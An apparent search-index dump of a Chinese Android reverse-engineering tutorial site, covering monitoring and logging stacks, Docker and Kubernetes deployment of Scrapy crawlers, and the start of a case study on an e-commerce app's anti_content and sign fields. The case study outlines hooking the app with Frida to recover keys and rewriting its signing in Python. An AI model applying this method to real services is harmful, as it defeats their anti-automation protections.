Prometheus rate(re_tasks_total{status=\"success\"}[1h]) / rate(re_tasks_total[1h]) P99 分析耗时 Prometheus histogram_quantile(0.99, rate(re_task_duration_seconds_bucket[5m])) 队列深度趋势 Prometheus re_queue_size 活跃 Hook 数 Prometheus sum(re_active_hooks) Redis 命中率 Redis Exporter redis_keyspace_hits / (redis_keyspace_hits + redis_keyspace_misses) MongoDB 操作延迟 MongoDB Exporter rate(mongodb_op_latencies_latency_total[5m]) ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:7:4","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#d-grafana-看板关键面板"},{"categories":null,"collections":null,"content":"8. 日志系统 当分析管道出现问题时，结构化的日志是最重要的排查手段。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:8:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#8-日志系统"},{"categories":null,"collections":null,"content":"a) 结构化日志 # logging_config.py - 使用 structlog 进行结构化日志记录 import structlog import logging # 配置 structlog structlog.configure( processors=[ structlog.contextvars.merge_contextvars, structlog.processors.add_log_level, structlog.processors.TimeStamper(fmt=\"iso\"), structlog.processors.StackInfoRenderer(), structlog.processors.format_exc_info, structlog.processors.JSONRenderer(), # 输出 JSON 格式 ], wrapper_class=structlog.make_filtering_bound_logger(logging.INFO), context_class=dict, logger_factory=structlog.PrintLoggerFactory(), ) log = structlog.get_logger() # 使用示例 def analyze_apk(package_name: str, apk_path: str): # 绑定上下文，后续所有日志自动携带 task_log = log.bind( package_name=package_name, apk_path=apk_path, task_type=\"static_analysis\", ) task_log.info(\"开始分析\", stage=\"init\") try: result = run_jadx(apk_path) task_log.info(\"反编译完成\", stage=\"decompile\", class_count=result['class_count'], duration_ms=result['duration']) findings = scan_crypto(result['output_dir']) task_log.info(\"加密扫描完成\", stage=\"crypto_scan\", findings_count=len(findings)) return findings except Exception as e: task_log.error(\"分析失败\", stage=\"error\", error_type=type(e).__name__, error_msg=str(e), exc_info=True) raise 输出示例（每行一条 JSON，便于 ELK 解析）： ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:8:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-结构化日志"},{"categories":null,"collections":null,"content":"b) ELK Stack 部署 # docker-compose.elk.yml - ELK 日志采集栈 version: '3.8' services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:8.13.0 environment: - discovery.type=single-node - xpack.security.enabled=false - \"ES_JAVA_OPTS=-Xms1g -Xmx1g\" volumes: - es_data:/usr/share/elasticsearch/data ports: - \"9200:9200\" logstash: image: docker.elastic.co/logstash/logstash:8.13.0 volumes: - ./config/logstash/pipeline:/usr/share/logstash/pipeline depends_on: - elasticsearch kibana: image: docker.elastic.co/kibana/kibana:8.13.0 environment: - ELASTICSEARCH_HOSTS=http://elasticsearch:9200 ports: - \"5601:5601\" depends_on: - elasticsearch filebeat: image: docker.elastic.co/beats/filebeat:8.13.0 volumes: - ./config/filebeat.yml:/usr/share/filebeat/filebeat.yml:ro - /var/lib/docker/containers:/var/lib/docker/containers:ro depends_on: - elasticsearch volumes: es_data: ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:8:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-elk-stack-部署"},{"categories":null,"collections":null,"content":"c) Logstash Pipeline 配置 # config/logstash/pipeline/re_pipeline.conf input { beats { port =\u003e 5044 } } filter { # 解析 JSON 格式的结构化日志 json { source =\u003e \"message\" target =\u003e \"re_log\" } # 根据 task_type 添加标签 if [re_log][task_type] == \"static_analysis\" { mutate { add_tag =\u003e [\"static\"] } } else if [re_log][task_type] == \"dynamic_analysis\" { mutate { add_tag =\u003e [\"dynamic\"] } } # 提取 package_name 作为顶层字段，方便检索 if [re_log][package_name] { mutate { add_field =\u003e { \"package_name\" =\u003e \"%{[re_log][package_name]}\" } } } # 解析时间戳 date { match =\u003e [ \"[re_log][timestamp]\", \"ISO8601\" ] target =\u003e \"@timestamp\" } } output { elasticsearch { hosts =\u003e [\"elasticsearch:9200\"] index =\u003e \"re-logs-%{+YYYY.MM.dd}\" } } ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:8:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-logstash-pipeline-配置"},{"categories":null,"collections":null,"content":"d) 轻量替代: Grafana Loki 对于小团队，ELK 可能过于沉重。Grafana Loki 是更轻量的替代方案。 # docker-compose.loki.yml services: loki: image: grafana/loki:2.9.0 ports: - \"3100:3100\" command: -config.file=/etc/loki/local-config.yaml promtail: image: grafana/promtail:2.9.0 volumes: - /var/log:/var/log - ./config/promtail.yml:/etc/promtail/config.yml command: -config.file=/etc/promtail/config.yml # 使用 python-logging-loki 直接推送日志 import logging import logging_loki handler = logging_loki.LokiHandler( url=\"http://loki:3100/loki/api/v1/push\", tags={\"application\": \"re-pipeline\"}, version=\"1\", ) logger = logging.getLogger(\"re-pipeline\") logger.addHandler(handler) logger.info(\"分析完成\", extra={\"tags\": {\"package\": \"com.example.app\"}}) ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:8:4","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#d-轻量替代-grafana-loki"},{"categories":null,"collections":null,"content":"9. 选型决策树 面对众多技术选项，以下决策树可以帮助你根据项目规模和需求快速做出选择。 你的 RE 项目规模是？ │ ┌─────────────┼─────────────┐ ▼ ▼ ▼ 个人/小型 中型团队 大型平台 (\u003c 5 目标) (5-50 目标) (50+ 目标) │ │ │ ┌───────────┤ ┌────────┤ ┌────────┤ ▼ ▼ ▼ ▼ ▼ ▼ 采集框架: Web: 采集: Web: 采集: Web: Scrapy/ Flask FastAPI FastAPI Scrapy FastAPI 手写脚本 +Scrapy 集群 +Django │ │ │ ▼ ▼ ▼ 调度: 调度: 调度: APScheduler Celery Airflow / cron +Celery │ │ │ ▼ ▼ ▼ 缓存: 缓存: 缓存: 本地缓存 Redis单机 Redis Cluster / 文件缓存 +本地缓存 │ │ │ ▼ ▼ ▼ 存储: 存储: 存储: SQLite/ PostgreSQL PG+Mongo JSON文件 +MongoDB +ClickHouse │ │ │ ▼ ▼ ▼ 监控: 监控: 监控: print/ Prometheus Prometheus 日志文件 +Grafana +Grafana+PagerDuty │ │ │ ▼ ▼ ▼ 部署: 部署: 部署: 本地运行 Docker Docker Compose Compose +K8s ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:9:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#9-选型决策树"},{"categories":null,"collections":null,"content":"推荐组合方案 方案一: 个人研究者 适合个人学习和小规模分析。 组件 选型 理由 采集 Scrapy / 自定义脚本 够用、灵活 API Flask 5 分钟上手 调度 APScheduler / cron 零依赖 缓存 lru_cache / 文件 无需额外服务 存储 SQLite / JSON 单文件、免运维 部署 本地 Python 虚拟环境 简单直接 方案二: 安全团队 适合 5-10 人的安全分析团队。 组件 选型 理由 采集 Scrapy + Crawlee 覆盖静态和动态页面 API FastAPI 高性能、自动文档 调度 Celery + Redis 分布式任务、可靠重试 缓存 Redis 单机 通用、功能丰富 存储 PostgreSQL + MongoDB 结构化 + 半结构化 监控 Prometheus + Grafana 完整可观测性 日志 Loki + Promtail 轻量但够用 部署 Docker Compose 一键启动、环境一致 方案三: 企业级平台 适合大规模自动化分析平台。 组件 选型 理由 采集 Scrapy 集群 + Colly 海量目标、高吞吐 API FastAPI + Django Admin API 层 + 管理后台 调度 Airflow + Celery DAG 编排 + 异步执行 缓存 Redis Cluster + 本地缓存 多级缓存架构 存储 PG + MongoDB + ClickHouse 混合存储、各取所长 消息队列 Kafka 海量日志流 监控 Prometheus + Grafana + PagerDuty 全链路监控+值班告警 日志 ELK Stack 全文检索、长期存储 部署 Kubernetes 弹性伸缩、高可用 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:9:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#推荐组合方案"},{"categories":null,"collections":null,"content":"推荐组合方案 方案一: 个人研究者 适合个人学习和小规模分析。 组件 选型 理由 采集 Scrapy / 自定义脚本 够用、灵活 API Flask 5 分钟上手 调度 APScheduler / cron 零依赖 缓存 lru_cache / 文件 无需额外服务 存储 SQLite / JSON 单文件、免运维 部署 本地 Python 虚拟环境 简单直接 方案二: 安全团队 适合 5-10 人的安全分析团队。 组件 选型 理由 采集 Scrapy + Crawlee 覆盖静态和动态页面 API FastAPI 高性能、自动文档 调度 Celery + Redis 分布式任务、可靠重试 缓存 Redis 单机 通用、功能丰富 存储 PostgreSQL + MongoDB 结构化 + 半结构化 监控 Prometheus + Grafana 完整可观测性 日志 Loki + Promtail 轻量但够用 部署 Docker Compose 一键启动、环境一致 方案三: 企业级平台 适合大规模自动化分析平台。 组件 选型 理由 采集 Scrapy 集群 + Colly 海量目标、高吞吐 API FastAPI + Django Admin API 层 + 管理后台 调度 Airflow + Celery DAG 编排 + 异步执行 缓存 Redis Cluster + 本地缓存 多级缓存架构 存储 PG + MongoDB + ClickHouse 混合存储、各取所长 消息队列 Kafka 海量日志流 监控 Prometheus + Grafana + PagerDuty 全链路监控+值班告警 日志 ELK Stack 全文检索、长期存储 部署 Kubernetes 弹性伸缩、高可用 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:9:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#方案一-个人研究者"},{"categories":null,"collections":null,"content":"推荐组合方案 方案一: 个人研究者 适合个人学习和小规模分析。 组件 选型 理由 采集 Scrapy / 自定义脚本 够用、灵活 API Flask 5 分钟上手 调度 APScheduler / cron 零依赖 缓存 lru_cache / 文件 无需额外服务 存储 SQLite / JSON 单文件、免运维 部署 本地 Python 虚拟环境 简单直接 方案二: 安全团队 适合 5-10 人的安全分析团队。 组件 选型 理由 采集 Scrapy + Crawlee 覆盖静态和动态页面 API FastAPI 高性能、自动文档 调度 Celery + Redis 分布式任务、可靠重试 缓存 Redis 单机 通用、功能丰富 存储 PostgreSQL + MongoDB 结构化 + 半结构化 监控 Prometheus + Grafana 完整可观测性 日志 Loki + Promtail 轻量但够用 部署 Docker Compose 一键启动、环境一致 方案三: 企业级平台 适合大规模自动化分析平台。 组件 选型 理由 采集 Scrapy 集群 + Colly 海量目标、高吞吐 API FastAPI + Django Admin API 层 + 管理后台 调度 Airflow + Celery DAG 编排 + 异步执行 缓存 Redis Cluster + 本地缓存 多级缓存架构 存储 PG + MongoDB + ClickHouse 混合存储、各取所长 消息队列 Kafka 海量日志流 监控 Prometheus + Grafana + PagerDuty 全链路监控+值班告警 日志 ELK Stack 全文检索、长期存储 部署 Kubernetes 弹性伸缩、高可用 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:9:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#方案二-安全团队"},{"categories":null,"collections":null,"content":"推荐组合方案 方案一: 个人研究者 适合个人学习和小规模分析。 组件 选型 理由 采集 Scrapy / 自定义脚本 够用、灵活 API Flask 5 分钟上手 调度 APScheduler / cron 零依赖 缓存 lru_cache / 文件 无需额外服务 存储 SQLite / JSON 单文件、免运维 部署 本地 Python 虚拟环境 简单直接 方案二: 安全团队 适合 5-10 人的安全分析团队。 组件 选型 理由 采集 Scrapy + Crawlee 覆盖静态和动态页面 API FastAPI 高性能、自动文档 调度 Celery + Redis 分布式任务、可靠重试 缓存 Redis 单机 通用、功能丰富 存储 PostgreSQL + MongoDB 结构化 + 半结构化 监控 Prometheus + Grafana 完整可观测性 日志 Loki + Promtail 轻量但够用 部署 Docker Compose 一键启动、环境一致 方案三: 企业级平台 适合大规模自动化分析平台。 组件 选型 理由 采集 Scrapy 集群 + Colly 海量目标、高吞吐 API FastAPI + Django Admin API 层 + 管理后台 调度 Airflow + Celery DAG 编排 + 异步执行 缓存 Redis Cluster + 本地缓存 多级缓存架构 存储 PG + MongoDB + ClickHouse 混合存储、各取所长 消息队列 Kafka 海量日志流 监控 Prometheus + Grafana + PagerDuty 全链路监控+值班告警 日志 ELK Stack 全文检索、长期存储 部署 Kubernetes 弹性伸缩、高可用 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:9:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#方案三-企业级平台"},{"categories":null,"collections":null,"content":"总结 选择框架和中间件的核心原则是 “够用就好，按需演进”： 不要过度设计 — 个人项目不需要 Kubernetes，一个 docker compose up 就够了 数据形态决定存储 — 结构化用 PG，半结构化用 Mongo，时序用 ClickHouse 可观测性不可省 — 至少要有结构化日志和基础监控，否则管道出问题你不会知道 容器化是底线 — 用 Docker 封装环境，确保团队成员的环境一致 渐进式引入 — 先用最简方案跑通，遇到瓶颈再引入更重的组件 通过合理组合这些工具，我们可以搭建起一个能够处理海量设备、执行复杂任务并高效存储结果的强大平台。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:10:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#总结"},{"categories":null,"collections":null,"content":"容器化部署：Docker 与 Kubernetes 实战 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Scrapy 快速入门 - 理解 Scrapy 项目结构 Docker 基础 - 理解容器与镜像概念 将爬虫项目容器化是实现标准化部署、弹性伸缩和 CI/CD 的第一步。本指南将详细介绍如何编写 Dockerfile，使用 Docker Compose 编排服务，以及如何在 Kubernetes (K8s) 上运行爬虫任务。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:0:0","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#容器化部署docker-与-kubernetes-实战"},{"categories":null,"collections":null,"content":"1. Dockerfile 最佳实践 我们需要为 Scrapy 项目构建一个轻量、稳定的 Docker 镜像。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:1:0","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#1-dockerfile-最佳实践"},{"categories":null,"collections":null,"content":"目录结构 my_crawler/ ├── scrapy.cfg ├── requirements.txt ├── Dockerfile └── myproject/ ├── __init__.py ├── items.py ├── settings.py └── spiders/ ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:1:1","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#目录结构"},{"categories":null,"collections":null,"content":"Dockerfile FROM python:3.9-slim-buster # 设置工作目录 WORKDIR /app # 设置环境变量 # 防止 Python 生成 .pyc 文件 ENV PYTHONDONTWRITEBYTECODE 1 # 防止 Python 缓冲区 stdout/stderr，确保日志实时输出 ENV PYTHONUNBUFFERED 1 # 设置时区 (可选) ENV TZ=Asia/Shanghai # 安装系统依赖 (如果需要编译 lxml 或其它库) # RUN apt-get update \u0026\u0026 apt-get install -y gcc libxml2-dev libxslt-dev \u0026\u0026 rm -rf /var/lib/apt/lists/* # 复制依赖文件并安装 COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt # 复制项目代码 COPY . . # 默认启动命令 (可被 docker run 覆盖) # 这里我们默认启动 scrapyd (如果使用 scrapyd 部署) 或仅作为一个 shell CMD [\"scrapy\", \"list\"] ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:1:2","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#dockerfile"},{"categories":null,"collections":null,"content":"构建与运行 # 构建镜像 docker build -t my-crawler:v1 . # 运行爬虫 docker run --rm my-crawler:v1 scrapy crawl myspider ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:1:3","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#构建与运行"},{"categories":null,"collections":null,"content":"2. Docker Compose 编排 对于分布式 Scrapy-Redis 架构，我们需要同时运行 Redis、MongoDB 和多个爬虫节点。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:2:0","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#2-docker-compose-编排"},{"categories":null,"collections":null,"content":"docker-compose.yml version: '3.8' services: # 1. Redis 服务 (消息队列) redis: image: redis:6.2-alpine ports: - \"6379:6379\" volumes: - redis_data:/data command: redis-server --appendonly yes # 2. MongoDB 服务 (数据存储) mongo: image: mongo:5.0 ports: - \"27017:27017\" environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: password volumes: - mongo_data:/data/db # 3. 爬虫服务 (Master/Slave 模式中的 Slave) crawler: build: . image: my-crawler:latest # 覆盖默认命令，启动爬虫 command: scrapy crawl myspider_distributed # 依赖服务就绪 depends_on: - redis - mongo environment: - REDIS_HOST=redis - MONGO_URI=mongodb://admin:${MONGO_PASSWORD}@mongo:27017 # 想要开启多个爬虫节点？直接 scale deploy: replicas: 3 volumes: redis_data: mongo_data: ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:2:1","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#docker-composeyml"},{"categories":null,"collections":null,"content":"启动与扩容 # 启动所有服务 docker-compose up -d # 扩容爬虫节点到 5 docker-compose up -d --scale crawler=5 # 查看日志 docker-compose logs -f crawler # 停止所有服务 docker-compose down ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:2:2","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#启动与扩容"},{"categories":null,"collections":null,"content":"3. Kubernetes 部署 在 K8s 上运行爬虫，可以利用其强大的调度和自愈能力。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:3:0","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#3-kubernetes-部署"},{"categories":null,"collections":null,"content":"Deployment（持续运行的爬虫 Worker） apiVersion: apps/v1 kind: Deployment metadata: name: scrapy-worker labels: app: scrapy-worker spec: # 副本数，即并发爬虫节点数量 replicas: 5 selector: matchLabels: app: scrapy-worker template: metadata: labels: app: scrapy-worker spec: containers: - name: crawler image: registry.example.com/my-crawler:v1 # 容器启动命令 command: [\"scrapy\", \"crawl\", \"myspider_distributed\"] # 环境变量配置 env: - name: REDIS_HOST value: \"redis-service\" # K8s Service Name - name: MONGO_URI valueFrom: secretKeyRef: name: db-secrets key: mongo-uri resources: requests: memory: \"256Mi\" cpu: \"250m\" limits: memory: \"512Mi\" cpu: \"500m\" ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:3:1","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#deployment持续运行的爬虫-worker"},{"categories":null,"collections":null,"content":"CronJob（定时任务） apiVersion: batch/v1 kind: CronJob metadata: name: daily-crawler spec: # 每天凌晨 2 点运行 schedule: \"0 2 * * *\" jobTemplate: spec: template: spec: containers: - name: crawler image: registry.example.com/my-crawler:v1 command: [\"scrapy\", \"crawl\", \"daily_spider\"] env: - name: REDIS_HOST value: \"redis-service\" restartPolicy: OnFailure ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:3:2","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#cronjob定时任务"},{"categories":null,"collections":null,"content":"常用 kubectl 命令 # 应用配置 kubectl apply -f crawler-deployment.yaml # 查看 Pod 状态 kubectl get pods # 动态扩缩容 (无需修改 yaml) kubectl scale deployment scrapy-worker --replicas=10 # 查看日志 kubectl logs -f deployment/scrapy-worker # 进入容器调试 kubectl exec -it \u003cpod-name\u003e -- /bin/bash ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:3:3","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#常用-kubectl-命令"},{"categories":null,"collections":null,"content":"4. 集成 Scrapyd 管理平台 Scrapyd: Scrapy 官方的部署服务，提供 HTTP API 来部署、启动、停止爬虫。 Gerapy: 基于 Scrapyd 的分布式管理 GUI，支持节点管理、代码编辑、定时任务。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:4:0","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#4-集成-scrapyd-管理平台"},{"categories":null,"collections":null,"content":"Dockerfile (集成 Scrapyd) FROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install scrapyd scrapy-redis COPY scrapyd.conf /etc/scrapyd/ EXPOSE 6800 CMD [\"scrapyd\"] ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:4:1","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#dockerfile-集成-scrapyd"},{"categories":null,"collections":null,"content":"scrapyd.conf [scrapyd] eggs_dir = eggs logs_dir = logs items_dir = items jobs_to_keep = 5 dbs_dir = dbs max_proc = 0 max_proc_per_cpu = 4 finished_to_keep = 100 poll_interval = 5.0 bind_address = 0.0.0.0 http_port = 6800 debug = off runner = scrapyd.runner application = scrapyd.app.application launcher = scrapyd.launcher.Launcher webroot = scrapyd.website.Root ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:4:2","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#scrapydconf"},{"categories":null,"collections":null,"content":"部署爬虫到 Scrapyd # 打包项目 scrapyd-deploy -p myproject # 启动爬虫 curl http://localhost:6800/schedule.json -d project=myproject -d spider=myspider # 查看爬虫状态 curl http://localhost:6800/listjobs.json?project=myproject ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:4:3","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#部署爬虫到-scrapyd"},{"categories":null,"collections":null,"content":"5. CI/CD 集成 ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:5:0","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#5-cicd-集成"},{"categories":null,"collections":null,"content":"GitHub Actions 示例 name: Build and Deploy Crawler on: push: branches: [main] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Build Docker image run: docker build -t my-crawler:${{ github.sha }} . - name: Push to Registry run: | docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }} docker tag my-crawler:${{ github.sha }} registry.example.com/my-crawler:${{ github.sha }} docker push registry.example.com/my-crawler:${{ github.sha }} - name: Deploy to K8s run: | kubectl set image deployment/scrapy-worker crawler=registry.example.com/my-crawler:${{ github.sha }} ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:5:1","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#github-actions-示例"},{"categories":null,"collections":null,"content":"总结 容器化部署是现代爬虫工程的标准实践。通过 Docker 实现环境一致性，通过 Docker Compose 简化本地开发，通过 Kubernetes 实现生产环境的弹性伸缩和自愈能力。结合 Scrapyd 和 CI/CD 流程，可以构建一个完整的爬虫 DevOps 体系。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/01-recipes/automation/docker_deployment/:6:0","tags":["Docker","自动化","Android","Root检测","Kubernetes"],"title":"容器化部署：Docker 与 Kubernetes 实战","uri":"/reverse_engineering/android/01-recipes/automation/docker_deployment/#总结"},{"categories":null,"collections":null,"content":"主流 App 加密签名机制案例 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： 密码学分析 - 理解 sign 签名机制和常见哈希算法 网络抓包 - 拦截并分析 API 请求中的加密字段 对主流 App 的 API 加密机制进行逆向分析，是检验和应用逆向工程综合能力的最佳实战。本案例研究将以常见的电商和社交类 App 为例，剖析其网络请求中核心加密字段和签名的生成逻辑，展示理论知识在实战中的应用。 免责声明: 本文内容基于公开技术和过往分析经验的总结，旨在技术交流与学习。具体的加密实现会频繁更新，本文不保证与线上最新版本完全一致。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:0:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#主流-app-加密签名机制案例"},{"categories":null,"collections":null,"content":"通用加密与签名模式 在分析具体案例前，我们先了解几种行业内通用的 API 保护模式： 请求体加密：对整个 POST Body 进行对称（AES）或非对称（RSA）加密，保护数据内容隐私。 参数级加密：仅对请求中的个别敏感字段（如密码、手机号）进行加密。 sign 签名机制：最核心、最普遍的模式。通过对请求参数、时间戳、随机数等进行组合和哈希，生成一个签名值。服务器端会以同样的方式计算签名并进行比对，用于： 防篡改：确保传输过程中的数据未被修改。 防重放：通过加入时间戳或 Nonce，让签名一次有效。 身份认证：验证请求是否由合法的客户端发出。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:1:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#通用加密与签名模式"},{"categories":null,"collections":null,"content":"案例分析 1：电商 App (类某多多模式) 💡 思路一句话: 抓包定位加密参数 → jadx 搜索参数名找到 Java 层签名入口 → 追踪到 native 层 → Frida hook 拿到密钥和算法 → 用 Python 重写签名逻辑。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:2:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#案例分析-1电商-app-类某多多模式"},{"categories":null,"collections":null,"content":"核心风控字段 (anti_content) 现象: 在其 API 请求中，经常能看到一个名为 anti_content 的、内容极长的加密字段。 本质: 它并非简单的 API 参数签名，而是一个由客户端 SDK 生成的、高度复杂的风控数据包。它更侧重于识别\"人\"与\"机器\"，而非认证 API 调用本身。 可能包含的内容: 设备指纹: 包含之前文档中提到的几乎所有硬件、软件和系统特征。 环境检测: 是否 Root、是否越狱、是否使用了 Hook 框架 (Frida/Xposed)、是否在模拟器中运行。 传感器数据: 在特定时间段内采集的加速度计、陀螺仪数据，用于判断设备是否在正常物理状态下。 行为数据：用户的点击坐标、滑动轨迹等。 逆向挑战: anti_content 的生成逻辑通常被封装在高度混淆的原生 SO 库中，并可能包含 SVC 系统调用等反分析技术。完整复现其算法的难度极高。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:2:1","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#核心风控字段-anti_content"},{"categories":null,"collections":null,"content":"API 认证签名 (sign) 现象: 除了 anti_content，请求参数中还有一个相对独立的 sign 字段。 目的: 这个字段才是真正用于 API 